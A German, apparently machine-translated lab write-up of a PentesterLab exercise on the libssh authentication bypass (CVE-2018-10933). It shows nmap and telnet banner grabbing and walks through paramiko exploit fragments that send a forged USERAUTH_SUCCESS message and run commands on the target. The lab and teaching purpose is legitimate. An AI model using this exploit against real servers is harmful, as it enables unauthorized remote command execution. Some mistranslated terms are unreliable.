Ich
beginne eine Reihe von Artikeln über
das Parsen von
Pentesterlab- Diensten. Leider habe ich keine Pro-Version des Kurses, daher beschränke ich mich nur auf die Liste der kostenlosen Aufgaben. Jeder Fall ist ein System mit einer Sicherheitsanfälligkeit, die ausgenutzt werden muss, um ein bestimmtes Ziel zu erreichen.
Libssh Auth Bypass
Der Fall umfasst einen Host (virtuelle Maschine), auf dem der SSH-Dienst ausgeführt wird. Die Herausforderung besteht darin, die Kontrolle über den Computer durch Umgehung der SSH-Authentifizierung zu erlangen. Stellen Sie sich vor, wir wissen nicht, welche SSH-Implementierung sich auf dem Server befindet und welche Sicherheitsanfälligkeit wir ausnutzen müssen.
Wie finde ich es heraus? Das erste, was mir in den Sinn kommt, ist die Verwendung des nmap-Netzwerkscanners mit der Option -sV:
~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");
In dem Bericht berichtet nmap, dass der Dienst ihm unbekannt ist. Wenn wir uns jedoch den Fingerabdruck des Dienstes ansehen, sehen wir die Identifikationszeile des Servers, aus der hervorgeht, dass der Port LibSSH Version 0.8.3 überwacht.
Aus RFC-4253 geschnitten:
Unmittelbar nach dem Herstellen der Verbindung tauschen Client und Server Nachrichten des Formulars aus:
Kommentare zu SSH-Protoversion-Softwareversion
Das Protoversionsfeld gibt die Protokollversion an. Da die zweite Version von SSH derzeit relevant ist, sollte das Feld den Wert "2.0" enthalten. Das Feld für die Softwareversion enthält den Namen und die Version der Protokollimplementierung, die hauptsächlich zum Initiieren von Erweiterungen, Kompatibilität und Angabe der Implementierungsfunktionen verwendet werden. Das Kommentarfeld ist optional und enthält zusätzliche Informationen, die zur Lösung von Benutzerproblemen beitragen können.
Ebenso könnten wir diese Zeile mit dem Telnet-Dienstprogramm erhalten:
$ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host.
Oder kommen Sie durch WireShark:

Google-Suchanfragen führen uns zur Sicherheitsanfälligkeit CVE-2018-10933, die Versionen von LibSSH von 0.7.6 bis 0.8.4 betrifft. Um dies zu verstehen, werde ich kurz auf die Clientauthentifizierung mit SSH eingehen. Nachdem die Verbindung hergestellt wurde, vereinbaren Client und Server ein Geheimnis namens
Sitzungsschlüssel , das während der Sitzung zur Verschlüsselung verwendet wird. Außerdem kann die Authentifizierung in mehrere Stufen unterteilt werden, die verschlüsselt sind:
- Der Client sendet dem Server eine SSH_MSG_USERAUTH_REQUEST-Nachricht mit dem Benutzernamen, dem Namen der Authentifizierungsmethode und zusätzlichen Feldern. Der Server kann die Anforderung annehmen oder mit einer Nachricht mit dem Code SSH_MSG_USERAUTH_FAILURE ablehnen, wenn die vorgeschlagene Authentifizierungsmethode nicht unterstützt wird.
- Der zweite Schritt hängt direkt von der Authentifizierungsmethode ab. Bei der Kennwortauthentifizierung sendet der Client das Kennwort in der ersten Phase und wartet dann auf die Bestätigung vom Server. Bei der Authentifizierung mit öffentlichen Schlüsseln werden der öffentliche Schlüssel und die Signatur mit dem privaten Schlüssel gesendet. Der Server prüft, ob er einen solchen Benutzer mit einem solchen öffentlichen Schlüssel hat und ob der öffentliche Schlüssel der Signatur übereinstimmt ... Es gibt immer noch eine Authentifizierungsmethode durch den Host, die jedoch nur selten verwendet wird. Alle Authentifizierungsmethoden können in RFC-4252 ( Russisch , Englisch ) ausführlich gelesen werden.
- Im dritten Schritt erwartet der Client eine Authentifizierung vom Server. Der Server sendet eine Nachricht mit dem Code SSH_MSG_USERAUTH_SUCSESS, wenn er die Authentifizierung akzeptiert, oder SSH_MSG_USERAUTH_FAILURE, wenn er ablehnt.
Im Codeabschnitt ist ein Fehler aufgetreten, der für die Überprüfung des Nachrichtencodes verantwortlich ist, mit dem der Server die Nachricht SSH_MSG_USERAUTH_SUCSESS empfangen kann. Die Verwendung dieser Lücke kann den Authentifizierungsprozess umgehen.
GitHUb hat viele vorgefertigte Exploits für diese Sicherheitsanfälligkeit, daher werden wir das Rad nicht neu erfinden und dieses berücksichtigen (ich danke dem Autor des Skripts).
Das Skript wird in Python unter Verwendung des
Paramiko- Python-Moduls (2.7, 3.4+) des SSHv2-Protokolls geschrieben, das die Funktionalität sowohl des Clients als auch des Servers bereitstellt. Lassen Sie uns die Codeabschnitte analysieren, an denen wir interessiert sind:
sock = socket.socket() sock.connect((host,int(port)))
Diese Zeile erstellt einen Socket und stellt eine Verbindung zum Server her. Was eine Steckdose ist, wird
hier sehr gut beschrieben.
message = paramiko.message.Message()
Diese Nachrichtenklasse ist SSH2. Es handelt sich um eine Reihe von Zeilennummern und Variablen vom Typ bool, die in einem Bytestrom zusammengefasst sind.
transport = paramiko.transport.Transport(sock) transport.start_client()
Diese Klasse ist ein Mittel zur Interaktion mit dem SSH-Protokoll. Wir erstellen es und verbinden uns sofort im Client-Modus.
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)
Der Parameter paramiko.common.cMSG_USERAUTH_SUCCESS ist die Nummer 52 in einem Byte. Dies ist der Nachrichtencode MSG_USERAUTH_SUCCESS. Wir senden diese Nachricht an den Server.
cmd = transport.open_session() cmd.exec_command(command)
Wir erstellen einen neuen Kanal und senden sofort den Befehl, der als Befehlszeichenfolge geschrieben ist.
out=cmd.makefile("rb",222048) output=out.read() out.close() print (output)
Die Makefile-Methode erstellt einen Datei-Wrapper um die Pipe. "Rb" - Lesebyte-Zugriffsmodus, 222048 - Puffergröße. Out erhält das Ergebnis des von uns gesendeten Befehls, den wir über print () drucken. Mit out.close () beenden wir die Verbindung.
Dieses Skript muss noch ausgeführt werden und gibt die IP-Adresse der zuvor heruntergeladenen und ausgeführten virtuellen Maschine sowie den Befehl an, den wir für unser Opfer ausführen möchten. Ich habe versucht, verschiedene Befehle anzugeben, und hier ist das Ergebnis:
Das Ergebnis ist etwas ungeschickt, wenn nötig, können Sie es beheben. Aber im Allgemeinen kann die Aufgabe als erledigt betrachtet werden.
Fortsetzung folgt ...